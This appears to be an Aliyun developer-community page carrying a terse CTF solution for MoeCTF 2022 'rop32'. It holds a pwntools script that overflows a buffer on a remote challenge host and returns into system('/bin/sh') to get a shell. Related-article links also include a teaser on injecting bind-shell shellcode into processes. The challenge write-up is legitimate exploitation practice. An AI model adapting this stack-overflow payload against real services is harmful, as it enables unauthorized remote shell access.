无保护32位
from pwn import * io = remote('node5.anna.nssctf.cn',26770) bin_addr =0x804C024 sys_addr =0x80491E7 payload =b'A'*(0x1c +4) +p32(sys_addr) +p32(bin_addr) io.sendline(payload) io.interactive()
[MoeCTF 2022]rop32-入土为安的第十八天
2024-08-19
34
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《
阿里云开发者社区用户服务协议》和
《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写
侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介：
[MoeCTF 2022]rop32-入土为安的第十八天
目录
相关文章
|
4月前
|
Shell
|
4月前
|
前端开发
rax
Shell
|
存储
缓存
Shell
|
NoSQL
安全
Shell
|
存储
安全
网络协议
1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用`Metasploit`这个渗透工具生成`ShellCode`以及如何将ShellCode注入到特定进程内，本章我们将自己实现一个正向`ShellCode`Shell，当进程被注入后，则我们可以通过利用NC等工具连接到被注入进程内，并以对方的权限及身份执行命令，该功能有利于于Shell的隐藏。本章的内容其原理与`《运用C语言编写ShellCode代码》`中所使用的原理保持一致，通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell，本章节内容对`Metasploit`工具生成的Shell原理的理解能够起到促进作用。
112
0
0
|
安全
Shell
Linux
|
存储
算法
安全
|
存储
算法
安全
|
存储
算法
安全
|
物联网
Linux
C语言
热门文章
最新文章
1
四大触点，教你从“用户视角”构建数据分析体系
2
Spring-boot+Dubbo应用启停源码分析
3
《Stata统计分析与应用（第2版）》一3.4 图形的保存、合并及修改
4
RocketMq-Request-Reply消息
5
Confluence 6 手动添加用户
6
2013年4月20日 通用权限管理系统组件V3.8功能改进说明
7
Configuring EIGRP Unequal-Cost Paths
8
PowerShell 指定关键词遍历文件内容
9
Windows时间服务出现故障 向用户发送错误的时间
10
三种dedecms调用相关文章的方法
1
《鸿蒙HarmonyOS应用开发从入门到精通（第2版）》简介
51
2
《Python 助力：人工智能模型的“瘦身”与“加速”之旅》
110
3
《非计算机专业者：Python 开启人工智能职业新航道》
39
4
《Python赋能：智绘智慧城市新蓝图》
42
5
《智育新篇：点亮学生人工智能伦理与社会责任之光》
47
6
《数据主权：人工智能时代的核心基石与挑战》
33
7
鸿蒙HarmonyOS应用开发 | 探索 HarmonyOS Next-从开发到实战掌握 HarmonyOS Next 的分布式能力
110
8
鸿蒙原生开发环境的创新与性能优化：从工具到跨平台支持的全方位提升
268
9
鸿蒙HarmonyOS应用开发 | 「鸿蒙技术分享」HarmonyOS NEXT元服务卡片实战体验
161
10
Qwen-Coder：通过Qwen 2.5模型实现智能代码生成的技术实践
38